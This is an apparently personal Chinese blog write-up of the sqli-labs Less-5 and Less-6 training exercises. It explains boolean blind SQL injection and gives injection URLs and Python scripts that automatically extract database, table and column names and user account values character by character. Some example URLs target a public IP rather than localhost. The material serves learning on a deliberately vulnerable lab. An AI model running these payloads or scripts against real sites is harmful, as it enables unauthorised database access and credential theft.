sqli-labs5-6(盲注)

sqli-labs5-6(盲注)

[TOC]

盲注分为以下三类:

Booleanbase(普通盲注)
Timebase(时间盲注)
Errorbase(基于报错的盲注)

less-5:GET-基于错误-单引号-复杂注入语句

1.试探

如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。

如果sql语句查询结果不存在,则不会显示”You are in”

这种类型的SQL注入属于盲注型,使用id=1\观察报错信息
http://43.247.91.228:84/Less-5/?id=1\

 MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1

错误分析:

near ‘’1’’ LIMIT 0,1’ at line 1

分离最外层的单引号:

near ‘ ‘ 1’ ‘ LIMIT 0,1 ‘ at line 1

1’是手动输入的,但是还剩下一对双引号,说明后台sql语句应该是这样:

select * from talbe where id = ‘input’

2.猜测当前数据库长度:

首先获取当前数据库名的长度,用于之后的数据库名猜解
http://43.247.91.228:84/Less-5/?id=1‘ and (length(database())=7)–+

http://43.247.91.228:84/Less-5/?id=1‘ and (length(database())=8)–+

上面的数字你可以从1开始递增,发现在 length(database())=8的时候,页面返回了正确信息,这说明当前数据库名长度为8

3.猜测当前数据库名

方法一: python跑

import requests
import string
dataset = " abcdefghijklmnopqrstuvwxyz_"

def sendPayload(payload):
    url = "http://localhost/sqli-labs-master/Less-5/?id=1' "+ payload
    content = requests.get(url).text
    return content

def get_db_length():
    count = 1
    while count:
        payload = "and length(database())="
        payload = payload + str(count) + "%23"
        recv = sendPayload(payload)
        if "You are in" in recv:
            return count
        else:
            count += 1

def getdbName(length):
    result=""
    for k in range(length+1):
            for j in dataset:
                    payload="and left(database(),"+str(k)+")='"+result+j+"'%23"
                    recv=sendPayload(payload)
                    if "You are in" in recv:
                        if j !=' ':
                            result+=j
                            print result
                        break
def main():
    length = get_db_length()
     print "the length of database is ",length
     getdbName(length)

if __name__=="__main__":
    main()

这里跑出来以后数据库名字是security。
方法二手注left:
http://43.247.91.228:84/Less-5/?id=1‘ and (left(database(),1)=’s’)–+
left(database(),1)=’s’表示数据库名从左往右取一个字符,判断该字符是否等于s
left(database(),2)=’se’表示数据库名从左往右取两个个字符,判断该字符是否等于se

方法三:使用ascii()函数和substr()函数进行夹逼

▲ascii(substr((select database()),1,1))=98
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换
为 ascii 值

http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select database()),1,1))>114%23

http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select database()),1,1))<116%23

http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select database()),1,1))=115%23

所以当前数据库名的第一位字符为’s’。

猜测当前数据库名的第二位字符:
http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select database()),2,1)>100%23
以此类推,最后得到当前数据库名为“security”。

4.猜测当前数据库的表名

猜测第一个数据表名的第一个字符:
http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100%23

http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<102%23

d’<’当前数据库第一个表名的第一个字符’<’f’
当前数据库第一个表名的第一个字符为’e’。

http://43.247.91.228:84/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108%23

方法二:

已经获取了数据库的名称,现在需要查出表的名称,这里需要使用ascii和substr这两个函数了。
获取完整表名有两个步骤:
①获取表的长度;
②利用ascii码获取单个表字符然后叠加。

#!/usr/bin/env python
#coding=utf-8

import requests
import string

def get_data(payload):
    url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
    content=requests.get(url).text
    return content

def get_table_length(i):
    for j in range(0,20):
        payload="and (select length(table_name) from information_schema.tables where table_schema=database() limit "+str(i)+",1)="+str(j)+"%23"
        #print payload
        recv=get_data(payload)
        if "You are in" in recv:
            #print j
            return j

def get_TableName():
    for i in range(0,20):
        result=""
        table_length=get_table_length(i)
        if table_length is None:
            break
        #print table_length
        for j in range(table_length+1):
            for k in range(48,122):
                payload="and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(j)+",1))="+str(k)+"%23"
                recv=get_data(payload)
                if "You are in" in recv:
                    result+=chr(k)
                    print result
                    break

def main():
    get_TableName()

if __name__=="__main__":
    main()

5.爆列名(表users下的所有列名)

接下来就要猜解每个表里的列的个数、列名以及列名长度,列名猜解,和上面原理都差不多,这里不再赘述,直接给出payload(以users表为例子)。
猜解列的个数
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and %d=(select count(column_name) from information_schema.columns where table_name=’users’)–+
猜解列名长度
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+
猜解列名
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+

6.爆出字段值(security.users下所有的账号密码)

最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)
判断字段长度
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and 1=(select count(username) from security.users)–+
判断字段长度
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))–+
判断字段值
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))=95–+

完整python代码

import requests
url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
db_length = 0
db_name = ''
table_num = 0
table_len = 0
table_name = ''
table_list = []
column_num = 0
column_len = 0
column_name = ''
column_list = []
dump_num = 0
dump_len = 0
dump_name = ''
dump_list = []
i = j = k = 0
### 当前数据库名长度 ###
for i in range(1,20):
    db_payload = '''' and (length(database())=%d)--+''' %i
    # print(url+db_payload)
    r = requests.get(url+db_payload)
    if "You are in" in r.text:
        db_length = i
        print('当前数据库名长度为:%d' % db_length)
        break
### 当前数据库名 ###
print('开始猜解数据库名......')
for i in range(1,db_length+1):
    for j in range(95,123):
        db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            db_name += chr(j)
            # print(db_name)
            break
print('数据库名:\n[+]',db_name)
### 当前数据库表的数目 ###
for i in range(100):
    db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
    r = requests.get(url+db_payload)
    # print(url+db_payload)
    if "You are in" in r.text:
        table_num = i
        break
print('一共有%d张表' % table_num)
print('开始猜解表名......')
### 每张表的表名长度及表名 ###
for i in range(table_num):
    table_len = 0
    table_name = ''
    #### 表名长度 ####
    for j in range(1,21):
        db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)
        r = requests.get(url+db_payload)
        # print(db_payload)
        if "You are in" not in r.text:
            table_len = j-1
            #### 猜解表名 ####
            for k in range(1,table_len+1):
                for l in range(95,123):
                    db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)
                    # print(db_payload)
                    r = requests.get(url+db_payload)
                    # print(db_payload)
                    if "You are in" in r.text:
                        table_name += chr(l)
            print(table_name)
            table_list.append(table_name)
            break
print('表名:',table_list)
### 每个表的列的数目、列名及列名长度 ###
for i in table_list:
    #### 每个表的列的数目 ####
    for j in range(100):
        db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (
        j, i)
        r = requests.get(url + db_payload)
        if "You are in" in r.text:
            column_num = j
            print(("[+] 表名:%-10s\t" % i) + str(column_num) + '字段')
            break
#### 猜解列名长度 ####
column_num = 3
print('%s表中的列名:' % table_list[-1])
for j in range(3):
    column_name = ''
    for k in range(1,21):
        db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)
        r = requests.get(url+db_payload)
        if "You are in" not in r.text:
            column_len = k-1
            # print(column_len)
            break
        #### 猜解列名 ####
        for l in range(95,123):
            db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)
            r = requests.get(url + db_payload)
            if "You are in" in r.text:
                column_name += chr(l)
    print('[+] ',column_name)
    column_list.append(column_name)
print('开始爆破以下字段:',column_list[1:])
for column in column_list[1:]:
    print(column,':')
    dump_num = 0
    for i in range(30):
        db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])
        # print(db_payload)
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            dump_num = i
            # print(i)
            break
    for i in range(dump_num):
        dump_len = 0
        dump_name = ''
        #### 字段长度 ####
        for j in range(1, 21):
            db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)
            r = requests.get(url + db_payload)
            if "You are in" not in r.text:
                dump_len = j-1
                for k in range(1, dump_len + 1):
                    for l in range(1,256):
                        db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)
                        # print(db_payload)
                        r = requests.get(url+db_payload)
                        if "You are in" in r.text:
                            dump_name += chr(l)
                            # print(dump_name)
                            break
                break
        print('[+]',dump_name)

##less-6:GET-基于错误-双引号-复杂注入语句
http://43.247.91.228:84/Less-6/?id=1\

your MySQL server version for the right syntax to use near ‘“1\” LIMIT 0,1’ at line 1
near ‘ “ 1\ “ LIMIT 0,1 ‘ at line 1
猜测后台语句:
select * from talbe where id = “input”
把less5代码中payload部分的’(单引号)改成”(双引号)即可


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:sqli-labs5-6(盲注)

文章字数:2,179

本文作者:Mang0

发布时间:2018-04-02, 16:14:58

最后更新:2018-11-02, 21:52:15

原始链接:http://mang0.me/archis/4303333d/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏